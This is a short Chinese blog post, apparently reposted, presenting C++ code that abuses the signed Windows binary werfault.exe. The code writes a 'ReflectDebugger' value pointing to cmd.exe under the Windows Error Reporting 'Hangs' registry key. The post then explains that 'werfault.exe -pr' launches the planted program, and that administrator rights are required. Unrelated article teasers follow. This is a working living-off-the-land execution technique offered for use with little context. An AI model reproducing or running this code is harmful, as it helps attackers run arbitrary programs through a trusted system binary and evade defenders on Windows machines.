【系统白程序利用】werfault.exe

【系统白程序利用】werfault.exe#include"stdafx.h"#include<windows.h>int_tmain(intargc,_TCHAR*argv[]){//Getrootkeyhandle.HKEYhRoot=nullptr;LPCTSTRlpSubKey=L"Software\\Microsoft\\Windows\\Wi…

大家好,又见面了,我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后,调用werfault.exe -pr ,werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/149716.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • LaTeX多行公式_latex大括号左对齐

    LaTeX多行公式_latex大括号左对齐LaTeX是一种基于ΤΕΧ的排版系统,其中非常突出的是方便而强大的数学公式排版能力。XMind2020现已支持插入LaTeX数学命令,可实时转化为数学方程。此外还支持部分简单的化学方程,理工科的朋友们从此无需再借助其它应用,在XMind中即可完成方程的输入。今天和大家分享下在XMind中如何用LaTeX输入数学公式。1.插入方程在「插入菜单」中找到方程,点击即可进入方程…

    2022年10月11日
    3
  • A星算法理解_a星算法例题

    A星算法理解_a星算法例题A星算法理解1.选择A星算法的原因为了进行路径规划算法是不可回避的:启发式搜索算法是比较常规的一类算法就是在状态空间中的搜索对每一个搜索的位置进行评估,得到最好的位置,再从这个位置进行搜索直到目标。这样可以省略大量无谓的搜索路径,提高了效率。在启发式搜索中,对位置的估价是十分重要的。采用了不同的估价可以有不同的效果。启发中的估价是用估价函数表示的,如:f(n)=g(n)+h(n)。g…

    2022年10月6日
    1
  • Android程序员的十大转型之路

    Android程序员的十大转型之路IT行业是一个瞬息万变的行业,程序员是一个不进则退的职业。我作为一个Android程序员,多年来一直保持随时可以转型其他技术领域的状态,保持对新技术敏感的嗅觉。

    2022年6月14日
    128
  • tomcat面试题

    tomcat面试题1.tomcat给你你怎样去调优?1.JVM参数调优:-Xms表示JVM初始化堆的大小,-Xmx表示JVM堆的最大值。这两个值的大小一般根据需要进行设置。当应用程序需要的内存超出堆的最大值时虚拟机就会提示内存溢出,并且导致应用服务崩溃。因此一般建议堆的最大值设置为可用内存的最大值的80%。在catalina.bat中,设置JAVA_OPTS=’-Xms256m-Xmx512m’,表示

    2022年6月7日
    39
  • Java中 遍历 ArrayList的三种方法

    Java中 遍历 ArrayList的三种方法importjava.util.*;publicclasstest{publicstaticvoidmain(String[]args){List<String>list=newArrayList<String>();list.add(“Hello”);list.add(“World”);list.add(“Java”);//第一种遍历方法使用For-Ea.

    2022年7月22日
    14
  • 学生认证,专业版pycharm

    学生认证,专业版pycharm学生认证pycharm学习自https://blog.csdn.net/qq_36667170/article/details/79905198感谢分享以下记录下自己的过程1、https://www.jetbrains.com/pycharm/buy/?fromIDE#discounts?billing=yearly页面现在变成这样了2、选择Forstudentsandteachers下的learnmore3、Applynow4、填写表单,(一定要是教育邮箱,可以在学校

    2022年8月29日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号